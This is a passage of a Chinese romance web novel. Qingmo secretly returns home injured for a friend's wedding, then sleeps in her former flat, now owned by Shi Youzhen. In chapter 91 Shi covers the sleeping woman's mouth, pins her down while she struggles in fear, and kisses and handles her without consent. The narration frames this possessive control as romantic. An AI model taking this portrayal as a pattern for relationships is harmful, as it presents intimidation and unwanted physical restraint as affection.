少衡迎头就提高音量惊讶问着:“你怎么……” 清茉瞪大眼睛盯着少衡,第一个念头是果然不能随便动旁人的钱财,这钱真不能乱花,花了谁的钱,人头就送到了谁面前。她也被这意外遇见惊得乱了分寸,本能的第一反应印刻了心中忧虑,上前一把捂住少衡的嘴巴,打断少衡的话,急道:“你不能讲,你必须当没看到我!” 摔进草地的闫峰也是好一个目瞪口呆,瞧着女孩上半身倾倒在少衡身上,还拿手捂少衡嘴巴,怎么还扑怀里了?什么意思?他的一日爱情还没开始就就就噶了? 少衡攥着清茉的手扯下来,他也没少关注清茉账号,前后一想,更生气了,表情不大好地蹲下看清茉的脚踝,闷头质问她:“什么时候受的伤?徒步的时候?你受伤了还跑回国?” 清茉明显很紧张,怕很多事情,特别怕他大哥知道,少衡的质问她都觉得难以应对更何况他哥,想想就头皮发麻,拉了拉少衡胳膊,央求着:“就当没见过我行不行?求你了,我回来参加六六婚礼,她提前了两个月,请帖不还是你送的嘛,求求你了少衡,一定不要跟别人讲,我参加完婚礼,下周就回去了。” 少衡起身,知道清茉害怕什么。 之前对于清茉悄悄出国,没有什么实感,好多事儿他体会不到清茉的心境,毕竟他也是以自我为中心的人,只是此刻突然心里有些难受。跟六六聊天的时候,从六六那里知道清茉卖房子的事儿,也知道后来他哥把房子买了,对他哥的变态行径早就见怪不怪,这事儿他本来没深想,可见到回国偷偷猫在酒店里的茉茉,后知后觉发现这是太残忍的事情。 买那个房子,对他哥来说是毛毛雨一样的钱,像随手买了个消遣的玩具,对于清茉来说,是好不容易攒起来的家。 少衡觉得自己不是好鸟,但是他哥好像更坏。在意又不承认爱,把事情搞得一团乱麻,全都被困住。 现在林清茉偷偷回国,怕人知道,居无定所,像惊弓之鸟央求着不能让他哥知道,眼圈都红了。 少衡点头,顺势把清茉抱进怀里,拍了拍顺着她后背,缓了声音,怕惊吓到她似的,尽量温柔答应着: “知道,肯定不说,放心吧。” 第90章 第九十章 闫峰从地上爬起来,扑棱扑棱…… 闫峰从地上爬起来, 扑棱扑棱身上的雪,谁修行浅谁尴尬,反正他不尴尬, 说着:“行,我看既然缘分匪浅,正好可以三人坐一桌了。” 少衡扶着清茉, 往里走的时候还是忍不住打趣她一句:“你要是被我哥知道瘸成这样还飞回来嘚瑟,你就等着被扒皮吧。” 闫峰绝不让话落在地上, 在一旁硬加入对话:“崴脚挡灾, 往后顺顺利利。” 他张罗着大家进餐厅落座, 虽然以高端私汤闻名, 酒店里的餐厅口碑也很响亮, 今儿主打粥底火锅,餐厅特意订了新鲜海鲜,少衡跟清茉对着坐, 闫峰坐在了少衡旁边, 问清茉:“能吃海鲜吗?医生说要不要忌口。” 清茉还处在震惊偶遇的茫然中,没吭声, 模样乖巧的点了点头。 闫峰笑, 大大方方对少衡说着:“你看她就是懵懵的很可爱。”少衡抬眼看清茉, 也挺无奈似的摇头点评:“假象,甭被骗了, 这位是祖宗。”闫峰左看右看, 觉得有必要为自己发声:“咱们要不先介绍一下?我先开始,虽然我很喜欢冬瓜爸爸的名字,有必要也跟美女介绍一下我的真名,鄙人姓闫, 闫峰,冬瓜爸爸。” 说着伸过去手要跟清茉握手,少衡一巴掌拍开。清茉在暖和屋子里闻着锅底翻滚上来的米香,也缓和了过来,笑着打招呼道:“幸会,林清茉。” 闫峰:“哇,好有诗意的名字,我猜猜,清澈的清,茉莉花的茉对不对,太有意境了,我好喜欢,光听名字就沁人心脾。” 清茉说着:“对,就是您说的这几个字。冬瓜爸爸您太夸张了,冬瓜呢?” 清茉对不熟的人相当客气礼貌,闫峰听得心里软软,愈发笑得不值钱:“冬瓜跟大堂小妹在外面撒欢玩呢,咱们吃完饭我牵过来给你玩。” 在米香热气中缓过劲儿的清茉问少衡:“你怎么在这儿啊,咱俩碰到的概率不可能这么高,酒店价位挺亲民,不像你能屈尊来的地儿,是不是偷偷给我安装了定位软件。” 闫峰解释着:“我约他来的,后面院子是套房,紧俏的时候只能内部预约,没对外挂出去。对了,我跟少衡大学同学,他冬天爱泡个温泉,往年也约在这里,一般挑下雪天来。清茉你跟少衡看着很熟,也是同学?” 少衡没解释是什么关系,问:“林清茉你带身份证了吗?” 清茉:“带了啊。” 少衡:“带了明天一早跟我去民政局登记结婚。” 闫峰瞪大眼睛,清茉见怪不怪,淡定拒绝:“不去。” 少衡:“先结婚再离婚,我分给你点钱,至少分几套房子。” 闫峰:“这都行?那跟我结婚也行,我的也能分。” 少衡:“你跟着掺和什么?” 闫峰:“世人都有追求爱与美的权力,你可以我也可以啊,对吧清茉。” 林清茉笑笑没接话,服务生过来帮忙下海鲜,煮好后盛出来,少衡自己没动筷子,先给清茉剥虾,闫峰调笑着:“我看你们俩不止是老同学。” 少衡无所谓他怎么猜,说着:“我哥来了也得给她剥虾。” 闫峰每个字都听懂了,但是没听懂这句话,饶是见惯大场面,此时也琢磨着少衡说的“哥”指的是不是施总,毕竟这话实属离谱。正想追问,少衡已经开始盘问林小姐的日程安排,比起朋友之间的了解,更像班主任查课,恨不得将时间表核对到每时每刻。 原本鲜甜的海鲜,今儿不知道为什么尝在嘴里觉得格外腥,清茉尝了两筷子就实在没了胃口,好脾气地应答少衡的提问,今天明天会住在这里泡温泉,明天下午约了六六,之后就跟六六待在一起,等六六婚礼仪式结束,就返程,还把订好的返程航班拉出来给少衡看,说着就跟导师报备了两个星期。 闫峰好奇问着:“清茉还在念书吗?” 少衡:“她可能耐着呢,在念博士。”继而嘱咐着:“反正你消停点,别乱跑,先把脚养好。我明天得飞趟外地谈版权,不去不行,你伤的是左脚,右脚这样还能开车吗?我把车留给你。” 有辆车代步确实能方便不少,清茉好奇问着:“最近开的什么车?我先看看喜不喜欢,在停车场吗?我吃好了,去透透气顺便看看,车牌号多少?” 少衡气笑:“还挑上了是吧?你怎么不去我哥车库里挑?算了,你现在是不值得一丁点信任,老闫你给她当两天司机,她去哪儿你送哪儿,我后天晚上回来。明天去找六六住哪里?要是订了酒店就先取消,住我家。” 闫峰跟少衡相处这么长时间,第一次见他这么在意地安排女孩的事情,还指使他兼任司机,更好奇了,但是有分寸地没在当面打听,笑着答应,问清茉是不是不合胃口,看她吃得不多,准备加菜。 清茉心里一套,嘴上一套,应着:“行,都听你的。谢谢冬瓜爸爸,别点了,我真吃好了,你们慢慢吃,我去找冬瓜玩。”她起身,少衡也起身帮清茉拿过外套,扶着她,清茉在闫峰面前有点不好意思,小声说着:“我没事,能走,你甭小题大做,你们聊天,我不打扰了。” 少衡听到跟没听到似的,就是硬扶,听她要去外面透气,就吩咐闫峰:“你狗呢?喊过来玩会。” 清茉:“人家叫冬瓜!你怎么这么没礼貌。” 少衡:“那狗上次尿我车胎!” 清茉:“冬瓜聪明着呢,肯定是你欺负小狗。那句话怎么说来着,狗好,人坏。” 闫峰默不作声地跟在俩人身后听着,心里也明白七八分,仍觉得这位天降的林小姐,实在是神奇。融恒的小施总花边新闻有的是,实际上对谁都不咸不淡,这么被人哄着供着的一位少爷,现在哄着供着另一位,新奇。 散步到外面的大草地,清茉瞥了眼停车场,指着一辆硬朗越野道:“这肯定是你的车,我右脚开没问题,给我车钥匙。”她好久没开车,心痒。 少衡不给,绝对不信任,清茉骂他小气,冬瓜摇着尾巴跑过来,拱清茉,清茉蹲下来摸,被冬瓜拱翻在雪地里,少衡怕她又摔着,忙去拽冬瓜。冬瓜爸爸闫峰像个局外人,虽然他的一日爱情结束得有点快,面对两人一狗在雪地里扑棱的此情此景,觉得很有爱,就抬手拍了好几张,站在一旁扮演起仆人角色,说着:“少爷小姐,我楼下宠物医院有一只长期寄养的陨石边牧,你俩啥时候结婚,我去领了送你们家。” 跟人吵闹聊天比自己闷在屋子里活跃,清茉低落的心情开朗很多,往回走的时候少衡让清茉换到他的套房住,清茉懒得折腾,少衡嘱咐着:“我明儿一早就得赶回公司,你明儿搬行了吧,那套院子大,冬瓜可以过来陪你玩,想多住天也行,可以让六六来陪你。” 清茉继续心里一套嘴上一套:“嗯嗯,快忙你的去吧,版权谈判加油哦。” 少衡总觉得心里不踏实,不放心地说着:“要不我带你一块吧,你当个翻译,我给发时薪。” 清茉拒绝:“我跟六六约好了!” 少衡:“那你一定收着点儿,不能喝酒,好好养着,后天回来我去六六那里接你。” 清茉:“知道了知道了。” 清茉回房间,睡前又泡了一次,也睡不着,挑了个轰轰烈烈的影片,讲超级英雄拯救世界,看到深夜,最后也迷迷糊糊睡着了。那边闫峰在少衡院子里待了一会,泡茶聊天,见少衡明显心事重重,问着:“是担心前院的林小姐,还是明儿的谈判。话说回来,到底是什么关系,交个底儿,我明天照应的时候有分寸。” 少衡发现很难界定到底是什么关系,挺认真地斟酌了片刻,面对交心的朋友讲了从来没说出口的话,说得慎重:“在某些方面,我们是彼此的镜子。可以的话,真的想跟她结婚,但是我跟她好像都对未来没有足够的信心,她迟疑的,我也迟疑,她害怕的,我也害怕。我不想把她的人生搞砸,她的人生规划里也没有我,见面可以是最铁的朋友,不见面就各过各的人生,也无关紧要。” 闫峰:“听着怪矫情,矛盾,不懂。” 少衡:“嗯,我也不懂。” 少衡清晨准备出发,路过酒店大堂的时候,发现清茉窝在大堂沙发上玩手机游戏,看到少衡后起身,少衡没想到她起这么早在等,很自然地上前抱了下清茉,问着:“怎么起这么早,特意送我?不像你啊,林清茉。” 清茉从兜里掏出一块巧克力,是从海外一路带回来的,包装纸上是艺术家画的铁塔简笔画,塞进少衡手里,说着:“是第一个洽谈吧,给你幸运巧克力,加油哦。” 少衡:“嗯,谢谢。”清茉要出门陪他去停车场,少衡拦着,说待会把车停大厅门口,清茉等了几分钟,少衡停过来,下车说着:“快回去再睡个回笼觉,好好休息。” 清茉挥手:“嗯,拜拜。” 少衡也说不出来为什么,总觉得心里七上八下,清茉在海外的时候,他没什么感觉,现在在眼皮子底下,反倒心神不宁,很不安。上车前又嘱咐着:“老闫靠谱,有事就吩咐他,不用客气。” 清茉推着他上车:“知道了知道了。” 闫峰出来溜冬瓜的时候,清茉已经收拾好东西了,在餐厅里吃早餐,冲着庭院里的冬瓜挥手,闫峰也进来,问着:“少衡出发了吧,今天什么规划,我随时待命。” 清茉跟六六约了下午在她园区的服装店见面,就把地址发给闫峰,谢着:“谢谢冬瓜爸爸,我跟朋友约了两点。” 闫峰:“成,要跟冬瓜玩吗?” 清茉坐闫峰车上,想着待会就跟六六见面,挺开心,她的朋友不多,工作之外的朋友也只有六六了,人生之路就是一切都在做减法,连身边的朋友数量都是。她坐在后座上抱着冬瓜,缓解激动紧张的情绪,摸着冬瓜跟闫峰聊天,讲六六的创业故事,说她怎么打拼建立自己的品牌连锁,怎么开起来好几家店,现在做了老板也是跟以前一样熬夜打版,四处出差拓展销路,很拼很出色。 闫峰听着,顺着她的话讲:“服装产业的朋友吗?那很好啊,待会我也见一见,少衡没介绍我的业务吧,我有连锁酒店的服务产业,最近在改革,正想着迎合市场审美换装呢。” 很快到了六六产业园的那家总店,车子停在门口,六六已经站在门口等待了,清茉下车的时候一愣,门店室外的装潢已经更换,但是巨幅海报竟然还是她当初给拍的宣传照,海报上是她穿着六六参与设计的第一套艺术时装,做了艺术化处理,配上六六店铺的LOGO,很冲击。当初拍摄的画面历历在目,清茉一下子红了眼圈,六六上前紧紧抱住她,骂着:“丫头跑得够狠心。” 清茉抱着六六摇晃,说着:“恭喜恭喜,我们六六要嫁人了。” 六六自己抹眼泪:“我还以为你不会回来。” 清茉指了指自己的脚,笑着诚实回答:“本来真没打算,受伤了没办法继续周游列国,就只能回来参加你婚礼了。” 六六上手揍她,瞧着牵着狗乐呵呵站在一旁的男人,问着:“这位是?你男朋友吗?” 清茉赶紧摇头:“是少衡的朋友,闫总,好心送我过来,还要参观你的店谈业务呢,谈成了记得给我提成。” 闫峰也跟进去参观了一圈,跟六六互换了联系方式,就没再多打扰她们闺蜜相聚,下楼的时候抬头看清茉的巨幅海报,拍了一张发给少衡:“好看,像艺人。安全送达,晚上跟她朋友一起住。” 少衡秒回:“谢了。” 六六的新店面装修得很有格调,丹尼的设计师专区已经撤掉,换成了其他新锐设计品牌,还有六六自己的作品,在店铺顶层隔出接待区,六六拥着清茉窝在沙发里聊天,马上举办婚礼的六六俨然成为一个甜蜜小女生,跟清茉分享着与老焦的曲折故事。 老焦还在经营着那家西餐馆,按照六六的说法,这么短时间内决定结婚,她,丹尼,老焦,还有老焦藕断丝连的白月光,是一段复杂的排列组合过程,有争吵有眼泪,有体谅有成全,她的圆满,别人的遗憾,根本没法事事两全,但是六六快刀斩乱麻地提出马上结婚,老焦同意了。 清茉听完,问六六:“不会担心以后吗?或者有个缓冲期是不是更好。” 六六无所谓道:“管他呢,过好今天吧,未来的事儿爱他妈怎么着怎么着,我就是喜欢老焦,就是想跟他过,我能把握自己能把握的,把握不了的费尽心思也掌控不了。茉茉,感情本来就是束缚,咱们上学时候不是学过嘛,没有绝对的自由,事情都是相对的,我知道你现在在外面自由自在挺好的,有时候又觉得你会不会太孤单,所以少衡问我你的事情,我都跟他讲,有个人关心总是好的,不会怪我吧。” 清茉点头:“不会,六六永远都是勇敢的六六。” 六六不屑:“哪里有你敢啊,房子一卖就离开,话说丹尼把房子卖给施总,还置换了不少好处呢,我没少拿这事儿嘴他。” 清茉:“卖给施总?卖给哪个施总?” 六六一愣,问着:“少衡没跟你讲吗?他哥啊。” 清茉自己也困惑起来,她最近常有恍惚的时候,怀疑自己是不是听过,恩永说过吗?还是少衡?这么重要的事儿她不该记不住,还是大家默认她知道,都没跟她说过。还是她大脑刻意忽略了这个信息。 清茉迟疑着点点头,说着:“嗯,可能说过,反正都卖了。” 六六突然拍手兴奋道:“对了,去试试伴娘服,我挑了好久,超美,你穿一定很漂亮!不过茉茉你是不是又瘦了好多,待会看看腰身合不合适。” 六六选了香槟色的伴娘服,很端庄,六六介绍她的伴娘团组成,清茉当然是VIP的TOP1,其他几位有家里的表妹,也有工作里结交的好伙伴,都是六六很重要的朋友。聊了一下午,六六晚上有业务洽谈的饭局,邀请清茉一起去,老焦正好开车过来接她,也上楼跟清茉打招呼,清茉打趣他俩:“什么啊,我还以为专门给我设的接风宴。” 六六忙不迭道歉:“不好意思茉茉,是提前约好的大客户,不好意思改时间,一起嘛,帮我撑撑场面,你本来就是我上外立面大海报的品牌模特,一起嘛。” 清茉这两天讲的话比在国外一个月都多,跟人交际很消耗精气神儿,晚上的饭局实在不想去,就借口已经跟晓杨约着见面,老焦非要送她,清茉就报了以前上班大楼旁的商厦地址。到地方六六扶她下车,约着晚饭结束来接她,清茉忙拒绝道:“你们忙你们的,晚上我订好酒店了,又不能退款,我得住回本。” 故地重游,清茉去一楼那家能看到街景的咖啡厅坐着休息,工作日下班点儿大楼里仍旧繁忙,之前工作的日子都有些记忆模糊了,大楼里的日料店不知道还开着没,好奇地挪着过去瞧了瞧,还真没倒闭。门口的服务生跟清茉打招呼,欢迎她用餐。 清茉一顿,就真走了进去,点了一份鱼生套餐,其实也没胃口,瞥见服务生带着人往上次施友臻坐的那个包厢走,默默想着他那次的态度真是好恶劣,特别特别叫人讨厌。一人份的套餐也很贵,清茉发着呆,瞧着夜间三五相聚的客人们,努力吃完。 六六发来信息,再次邀请清茉晚上去她家住,清茉婉拒。朋友很重要,又没那么重要,陪伴过的岁月很美好,不在彼此身边的岁月作为独立个体也可以生活得轰轰烈烈。念书的时候看过一句话,当你见面的时候发现朋友的衣服都是没见过的,说明已经有段时间没有介入彼此的生活了。总会有新的人闯进身边陪伴,没有谁不可或缺。 一天下来好累,比在北欧跋山涉水更累,清茉歇了很久,餐厅吃饭的人翻了一轮台了,她真的是坐了很久才起身结账离开。还没走出商厦,胃里就不舒服,反胃恶心,去卫生间直接吐了,身上发冷,嗓子也开始疼。她想着,要么是肠胃感冒,要么是感冒,甚至淡定复盘,也是该,从高山雪地直接泡到大雪里的温泉,胃口不好还吃鱼生,不舒服那是挺正常的。 她靠墙站在商厦门口,瞧着外面的车水马龙,犹豫要不要去急诊,去急诊估计也是开点药,排队的时间会很久,她现在只想找地方躺下,对,酒店还没有订呢。打开打车软件,上面的默认地址明晃晃地还显示在那里,是她原来房子的位置,清茉点了默认地址,反正之前小区门口有一家经济连锁酒店,她对周边环境还熟悉,买药也方便,就住那里吧。 身体不适,精神游离,冬天的出租车里暖烘烘闷着各种复杂的气息,清茉下车扶着路边的大树又干呕了一会,直起腰瞧着熟悉的道路,心情更低落,头一次生出后悔的情绪,她应该直接飞回学校,安安静静两点一线,安安静静在办公室里修改文章,而不是在北方冷冽无情的深夜大风里,独自一人茫然四顾。 过了马路就是那家快捷酒店,药店在小区大门旁边,清茉先去药店买了退烧药,想着要是有炎症的话,等体力恢复好一些再去医院。买好药从药店出来,清茉站在小区大门口,很难说是因为精神过于恍惚,还是因为身体不舒服引发的心理脆弱,她朝着走过无数次的小区走了过去,门卫保安大哥居然没有换人,主动给清茉刷了门禁,打招呼道:“好久没见了!” 这戏剧性的一幕清茉觉得有趣,扯出笑回应着:“谢谢啦!” 已经是晚上十点多,清茉转悠到曾经的楼下,很难受,走不动了,就坐在门口的台阶上,脑子里乱如麻。刚坐下,有人从单元门里面推门出来,瞧着像住楼上的阿姨,看到清茉大冷天坐在台阶上,帮忙抵着门,说着:“闺女没带卡吧,哎我说好久没见你了,快进来,外面多冷,下次忘了带卡让物业给开,别干冻着啊,你们年轻人就不爱张嘴,快进来快进来。” 清茉撑着栏杆站起来,被阿姨扶着进去,阿姨还说呢:“这脚崴了吧,你说说,这还不叫物业给开门,物业费白交嘛这不是。” 清茉:“……” 老实人偷偷干出格事儿的时候,会有偷吃禁果的兴奋,清茉进电梯摁楼层,紧张到手抖,反正在楼下抬头观察过,屋子里黑洞洞没有光亮,清茉猜测,他肯定不会住在这里,屋子对于他来说过于狭隘,他不可能住,买下是买下,住是住,他不可能住,他喜欢买房子,这儿一处那儿一处有的是,没有心,纯属买着玩。 站在房门前,清茉紧张地发了一身汗,身体轻飘飘灵魂要出窍,尝试输入之前的密码,过于紧张摁错了一次,重新输入之后,房门咔嗒一声打开了。 清茉进门那刻,眼泪就开始往下掉,根本止不住。在少衡面前哭不出来,在六六面前哭不出来,站在她小小的玄关里,哭得汹涌。房子里黑洞洞的,摸索着在熟悉的位置打开灯,眼前横着那个夸张的大沙发,除了沙发眼熟,其他的家居都陌生,清茉脱下鞋子进屋,一边默默抹着眼泪,一边四处看了看。 这不再是她的房子了。里面添置了很多昂贵的家具家电,很明显是施友臻的风格,但是沙发上有一个她没来得及处理的抱枕,清茉看着抱枕心里又气又烦,哭着揪起来,走到房门口打开门,扔到门外,她讨厌这种让人联想的刻意行为,很讨厌。 卧室里的床也换成高级货,床单熨烫整洁的样子应该是专业家政打扫过,近期没有住人。清茉哭得发抖,就是很生气,也不能说气谁,反正心口里面窝了气,她好累,干烧的身体哭得发抖,她想着反正是空房子,她睡一晚上怎么了,被发现了她就去投案自首,她不想折腾再下楼出去找地儿了,而且大概率不会被发现,空房子就是空房子,她的珍宝,别人的敝履。 清茉心里一横,就这么着了,想躺下,但是人家的床太干净了,轻微的洁癖让清茉难以忍受就这么睡,她装睡衣的袋子落在了六六店里,六六没发现她也没好意思麻烦老焦折返回去拿,本来想就近买一套,这会儿也没那个精气神,清茉拉开衣柜,里面挂着两套男士家居服,看见了还是生气,房子又不住,整这些景儿,还放几套睡衣算什么东西。 浴室里的卫浴也都换了新的,清茉刚开始都没找到热水开关,被冷水浇得一激灵,眼泪又开始掉,气他换什么换,有钱骚的。 洗完澡出来,换上那套男士的睡衣,清茉胡乱吹了吹头发,想喝口水吃药,冰箱里完全就是空的,不过空的冰箱说明确实不住人,心里稍安,到处也没有瓶装水,她干脆就着厨房的冷水吃掉退烧药,不管不顾地躺到了床上,想着就这样吧,六六说的对,今天就这样吧,明天再说明天的,反正跟六六也见面了,她不想待了,想回去了,明儿就改签,明儿就回,想着就把手机静音,准备踏实休息一晚上。 清茉晚上在日料店的时候,登陆自己的账号回复了粉丝的一些留言,太多人问她什么时候更新,清茉就单独发了一条,说学校有任务提前返程了,预计一周后更新。 发布后清茉就不舒服,也没再上网看。 她没留意到平台技术改革,有些新版本的软件,账号发布内容的时候会显示IP地址,很多粉丝一下子就留意到博主回国了,不少人在问。 施友臻原本就疑惑清茉为什么突然消失两天不更新,甚至问过少衡,少衡答复说她忙着赶文章,施友臻就耐心等着,晚上看到林清茉终于更新,还松口气,过了一个多小时重新看评论区,也才发现IP地址变更的事情,立刻更新软件版本,确认看到了同城的显示,一个电话打给少衡,直接问着:“林清茉回国了?” 少衡心里一突突,反正世界上很少有瞒住他哥的秘密,以为他哥知道了,就说着:“嗯,她朋友结婚,回来参加婚礼。” 万幸他哥没再多问,真问茉茉在哪里,少衡还真是不知道该怎么说。施友臻没问,因为他直接给林清茉打了电话,施友臻认为既然回国,一起吃个饭,哪怕只算是个礼节,也不过分。可电话一直无人接听。 施友臻一直拨不通电话,直接联系了六六,六六接到施友臻电话也紧张,她有她的考虑,潜意识里大概觉得清茉一直逃避的态度不对,就讲了实话,说清茉晚上找前同事晓杨吃饭了。 晓杨本身就入职了融恒,最近新提拔到了集团总部的人事,接到BOSS电话也抖,听到清茉名字挺懵,老老实实说没有见面。 林清茉的电话还是无人接听,施友臻又找少衡,少衡也心里打鼓,赶紧问闫峰,闫峰说下午确实送到六六那里了,少衡也开始打林清茉的电话,都是无人接听。少衡心里不安,给他哥回电话,说着:“哥,找找吧,问了一圈,茉茉跟谁都没说实话。” 真是能耐,施友臻沉着脸开车出门。 城市这么大,找不到一个人太正常,施友臻在考虑寻人途径的时候,心里一动,调转了车头,朝着那个小区开去。 施友臻想,用科学的角度解释,那就是微观粒子之间存在超距关联在人类意识层面的对应。或者也不必硬关联科学解释,就是那样发生了,像很多事情一样,就那么发生了。 接近凌晨的夜晚,从小区到楼道都非常安静,电梯上行的声音都格外清晰。 施友臻迈出电梯间,看到了被扔在门外的抱枕。《 》 90-100 第91章 第九十一章 施友臻俯身,捡起被扔在地…… 施友臻俯身, 捡起被扔在地上的抱枕,几乎确认,人就在屋子里。 沉着的脸色有些许松动, 内心被触动得轻盈几分,好奇她用什么心情扔出这个抱枕,抱枕又哪儿惹到她了。总是倔强不低头, 又总是露出孩子气,小时候娇气难哄, 长大了一本正经装大人。 摁密码打开房门, 屋内虽然黑洞洞, 但是气息微妙地与往日不同, 沙发上突兀地搭着几件衣服。施友臻当然眼熟, 那是他从品牌方选定的款式,她穿着他选的衣服天南海北地旅行,怎么不算是一种隐秘的支配和占有。明里暗里有很多方式可以困住她, 施友臻不愿意下那个狠心, 最起码之前不愿意。 卧室的门敞开,湿度, 香气, 还有暖烘烘的体温, 仿佛能从卧室中映射到了整个房间,施友臻站在卧室门口驻足片刻, 客厅灯光将空间分割出明与暗的界线。他踏过那条分割线, 走到床边,坐在熟睡的人旁边。 他一进卧室,空间都变得逼仄,这里是外人难以触达的隐秘空间, 封闭,黑暗,只有他俩独处。 施友臻不知道林清茉是否清楚,走进这个房子,睡在这个床上,意味着什么,甚至还穿了他的睡衣,这跟公然的挑逗和诱惑又有什么区别,她是故意的吗?他没着急惊扰,坐在床边细细地看着林清茉的眉眼,夜晚太静,她的呼吸挠在耳边,缓解了施友臻积攒许久的焦虑。施友臻想,这样才正确,就这样,睡在身边咫尺之处,可以碰触,这样心里才舒服。 银灰色的床品称得她皮肤莹白,双手软软摊在枕头上,显出毫无防备的姿态,睡衣对于她来说过于宽大,领口处宽松得露出好看的锁骨,脆弱又迎合。施友臻拿过枕边清茉的手机,一看果然静音了。她在害怕什么,一句真话没有,搅和得所有人鸡飞狗跳,她倒是心安理得睡得香。 施友臻伸出手,按住林清茉的嘴巴。 他近期出现焦虑的心理问题后,做过一个梦,内容难以言说,他在梦里撕□□面人的君子伪装,陷入一场很残暴的梦境,其中一幕是他很用力地捂住林清茉口鼻,他质问她,问她要是不同意就张嘴说出来,一直逼着她讲话,质问的同时用很大的力气捂住林清茉的口鼻,让她只能哭,只能窒息挣扎,凌乱了她一头长发,让她半个字都没办法讲,物理意义上的没办法开口拒绝。 施友臻当时被梦境惊醒,心跳得很快,他从来没有过暴力过激行为,梦里的行为惊到了他自己。梦是心头想,无法回避的事实是,也许哪里已经产生了扭曲,滋生出完全陌生的魔鬼人格。就像现在,他没有像在梦境里那样极端地去控制林清茉的呼吸,但是手掌捂住了她嘴,宽大的手掌能包住清茉的下半张小脸,施友臻握得不重,想着:确实不想听她讲出拒绝的话,很讨厌,永远不想再听,梦境是真实的映射,他很深刻地抗拒再听到那些话。 被碰触的林清茉不安地动了动,掌心双唇柔软的触感烫得施友臻呼吸变重,不自觉加重了力气,林清茉本能地伸手去按住施友臻的手背,慢慢睁开了眼睛。 施友臻觉得眼前的一幕,跟梦境中的景象重合,林清茉眼神慢慢清醒,突然间惊恐瞪大眼睛,全身开始挣扎,想掰开施友臻的手,但是施友臻更用力地将她固定在枕头之间,清茉的力气是蚍蜉撼树,徒劳地挣扎着想起身。 施友臻感受着她在自己掌心中滚烫鲜活的生命力,突然间就受够了万里千里的距离,也受够了一直扮演好大哥的角色,装够了不在意不走心的体面人,他长腿一跨,上床用身体压住了林清茉。 在这个无人知晓的隐蔽空间里,心里的魔鬼在黑夜中爬出缝隙,心魔一直是魔,一直在蛰伏中寻找吞噬掉理智的机会,可能是以后,也可能就是今夜。 清茉明显受惊,捶打施友臻的肩膀和胸口,跟猫儿挠似的,施友臻不急不忙,就是不松手,问她:“为什么偷偷进来?知道睡这里是什么后果吗?林清茉,知道什么叫事不过三吗?” 清茉被他捂着讲不了话,施友臻见她眼泪都出来了,心中又刺又软,缓缓松开手,清茉懵懵地大口喘着气,胸口很剧烈地起伏,双手紧紧抓着施友臻的手,一时间讲不出话,施友臻瞧着她惊吓的模样,心中恶气略减,但仍旧不依不饶,故意冷冰冰说着:“把睡衣脱掉,还给我。” 林清茉不声不响不言语,努力消化眼前的情况,但是眼泪不受控制地开始顺着脸颊往下淌,施友臻怕她是真的被吓坏了,哄了句:“哭什么,躺我床上的时候不害怕,现在害怕晚了。” 万万没想到,林清茉撑着爬起来,一边掉眼泪,一边一声不吭地开始解睡衣扣子,手抖得厉害,半天解开一粒,越哭手越抖,解不开第二粒,干脆撩起来要从头顶脱,施友臻没想到她会这么激烈,比狠一样。他赶紧攥在清茉胳膊把她拽怀里困劳,愿意败下阵来,哄着:“好了,给你穿,不脱了。” 林清茉推他,施友臻紧紧抱住,摁怀中,去亲清茉的额头,清茉在他怀里挣扎,施友臻攥住她手腕,重新把她压回床中,半哄半吓唬道:“冷静,深呼吸,乖,是我,林清茉!再乱动试试!” 清茉终于听懂了似的,卸掉了力气,身子软软地陷下去,但是闭上了眼睛,呼吸更加急促,施友臻低头亲她的额头,因为她没有再挣扎,施友臻这才察觉到,林清茉的额头很烫,施友臻摸了摸清茉脖颈,又探手从睡衣下摆伸进去试了试,林清茉竟然在发烧,很烫。 施友臻立刻起身,从林清茉身上翻下去,打开房间的灯,清茉被灯光刺得拿手背挡住眼睛,施友臻从衣柜里取了家庭医药箱,电子体温计马上测出了体温,三十九度一。施友臻又气又无语,把清茉拉起来,灯光下看到床头拆开的退烧药,问她:“几点吃的退烧药?没退吗?” 林清茉就是不跟他讲话,还是要伸手解扣子,施友臻握住她的手,也是没招了,跟亮起的灯光一起站在光亮里的,再次变成了好大哥,好绅士,他厌弃这样一次次的妥协回原点,但是又没有办法真正去伤害,连自由都愿意彻彻底底给予,怎么能真的去伤害呢? 施友臻哄着:“不哭了,我道歉,不该吓唬你,但是大家找了你一晚上,是不是撒谎住在六六家?退烧药不起作用要去医院,一直干烧不行,穿衣服。” 施友臻已经打开衣柜,取了一件羽绒服外套,顺便取了衣柜里的新袜子,蹲在清茉跟前,握着她的脚踝想给她穿上去急诊。施友臻总是力气很大,他自己可能不觉得,但是他体格实在太好,压着人的时候像座可怕的山,被他禁锢住一动不动很恐惧,现在握着清茉的脚踝,他自己可能觉得是很轻柔了,但是往上套袜子的时候,不自觉力气就大了,正好摁在清茉受伤的地方,清茉疼得一缩,又恼又疼,抬脚就蹬施友臻肩膀,施友臻不明所以,抬手又握住了林清茉脚腕,还更用力了。 林清茉疼得仰倒在床上,蜷着身子去掰施友臻的手,疼出一脑门汗,终于开口喊着:“疼!” 施友臻也是没招了,不明所以,低头看她脚踝,一看心里继续升起旺盛的无名火,她的脚踝细看下竟然肿了一层,施友臻赶紧松手,托起她脚后跟抬着仔细观察,一看,气到无语,他脑子又极度聪明,立刻问着:“我说少衡怎么吞吞吐吐,林清茉你脚踝是不是受伤了?什么时候的事?停更那天?所以是带着伤飞回来?我看你就是没个管教欠收拾!” 施友臻抖开外套披到清茉身上,冷着脸仔细拉好拉链,给她戴上帽子,林清茉喊了“疼”之后,也冷着小脸开口讲了话,说着:“我不去,我要睡觉,你走。” 施友臻那是不可能惯着她了,直接把人打横抱起来,实事求是道:“你能打得过我,就听你的。” 施友臻很高,突然被他抱起来有凌空失重感,清茉把脸藏进帽子里,本来就恶心,天旋地转间更加灵魂出窍,不自觉攥着施友臻胸口的衣服,细细软软的手指骨节白中透着粉,施友臻低头瞧着,知道不道德,但是脑子里是爽到发麻的感觉,就是想欺负,想抱紧,想触摸。 把人抱到副驾驶,施友臻脱下自己的外衣盖到清茉膝盖上,低头给她系安全带,抬眼看到清茉耷拉着小脸很不高兴的样子,施友臻就是喜欢看她这样,比起她的假笑跟客套,就是喜欢看她不高兴耍脾气掉眼泪。 林清茉剪短了头发,这会儿蔫儿蔫儿的,像一只毛绒绒的可爱小动物,施友臻忍不住又上手,虎口一握,掐着林清茉的腮拉近到脸前,手指下是她细细软软的皮肤和腮帮子的软肉,很好捏地揉捏了好几下,他就是力气大而不自知,清茉被捏得腮帮子肉疼,施友臻可不管,把她拉到眼前,摆弄着毫不客气在她左右脸颊各亲了下。 